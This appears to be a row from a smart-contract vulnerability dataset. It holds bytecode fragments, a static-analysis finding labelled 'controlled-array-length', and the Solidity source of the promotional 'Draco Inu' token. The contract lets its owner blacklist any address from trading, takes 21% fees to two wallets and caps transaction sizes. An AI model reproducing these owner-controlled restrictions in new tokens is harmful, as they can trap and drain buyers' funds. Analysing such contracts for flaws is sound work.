fffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156130b557fe5b90600052602060002090600202018660020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561311157fe5b90600052602060002090600202016000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600182015481600101559050505b8560030160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905561326e60018760020160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050612e3490919063ffffffff16565b8660020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020816132ba919061331f565b50505050505050565b6040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b81548183558181111561331a578183600052602060002091820191016133199190613351565b5b505050565b81548183558181111561334c5760020281600202836000526020600020918201910161334b9190613376565b5b505050565b61337391905b8082111561336f576000816000905550600101613357565b5090565b90565b6133c191905b808211156133bd57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600090555060020161337c565b5090565b905600a165627a7a72305820cd85a2dabf4d7f6a0afa7adfbb26c81c329af59ae5e20d160b634594b9e1e5270029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,536 |
0xa752104d5a8c827517cb267a49dfb4d48ca51700
|
/*
Draco Inu 🔫
Join our telegram! t.me/BrandNewDracoInu
Follow our twitter: twitter.com/DracoInu
Last but not least, check out our website: DracoInu.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DRACO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 21 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "21Draco Inu | t.me/BrandNewDracoInu";
string private constant _symbol = 'DRCO🔫';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 11;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073a565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610758565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610769565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610842565b005b34801561033357600080fd5b5061033c610965565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061096e565b005b34801561039e57600080fd5b506103a7610a53565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac5565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bb0565b005b34801561043157600080fd5b5061043a610d36565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d5f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d9c565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dba565b005b34801561063857600080fd5b50610641610f0a565b005b34801561064f57600080fd5b50610658610f84565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b81019080803590602001909291905050506115f2565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117a1565b6040518082815260200191505060405180910390f35b6060604051806060016040528060238152602001613cf360239139905090565b600061074e610747611828565b8484611830565b6001905092915050565b60006801236efcbcbb340000905090565b6000610776848484611a27565b61083784610782611828565b61083285604051806060016040528060288152602001613d3760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e8611828565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122869092919063ffffffff16565b611830565b600190509392505050565b61084a611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610976611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a94611828565b73ffffffffffffffffffffffffffffffffffffffff1614610ab457600080fd5b6000479050610ac281612346565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b6057600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bab565b610ba8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612441565b90505b919050565b610bb8611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4452434ff09f94ab000000000000000000000000000000000000000000000000815250905090565b6000610db0610da9611828565b8484611a27565b6001905092915050565b610dc2611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f0657600160076000848481518110610ea057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e85565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f4b611828565b73ffffffffffffffffffffffffffffffffffffffff1614610f6b57600080fd5b6000610f7630610ac5565b9050610f81816124c5565b50565b610f8c611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461104c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061115f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801236efcbcbb340000611830565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a557600080fd5b505afa1580156111b9573d6000803e3d6000fd5b505050506040513d60208110156111cf57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561124257600080fd5b505afa158015611256573d6000803e3d6000fd5b505050506040513d602081101561126c57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156112e657600080fd5b505af11580156112fa573d6000803e3d6000fd5b505050506040513d602081101561131057600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113aa30610ac5565b6000806113b5610d36565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50505050506040513d606081101561146557600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115b357600080fd5b505af11580156115c7573d6000803e3d6000fd5b505050506040513d60208110156115dd57600080fd5b81019080805190602001909291905050505050565b6115fa611828565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61175f6064611751836801236efcbcbb3400006127af90919063ffffffff16565b61283590919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613dad6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cd16022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d886025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c846023913960400191505060405180910390fd5b60008111611b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d5f6029913960400191505060405180910390fd5b611b94610d36565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c025750611bd2610d36565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121c357601360179054906101000a900460ff1615611e68573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c8457503073ffffffffffffffffffffffffffffffffffffffff16827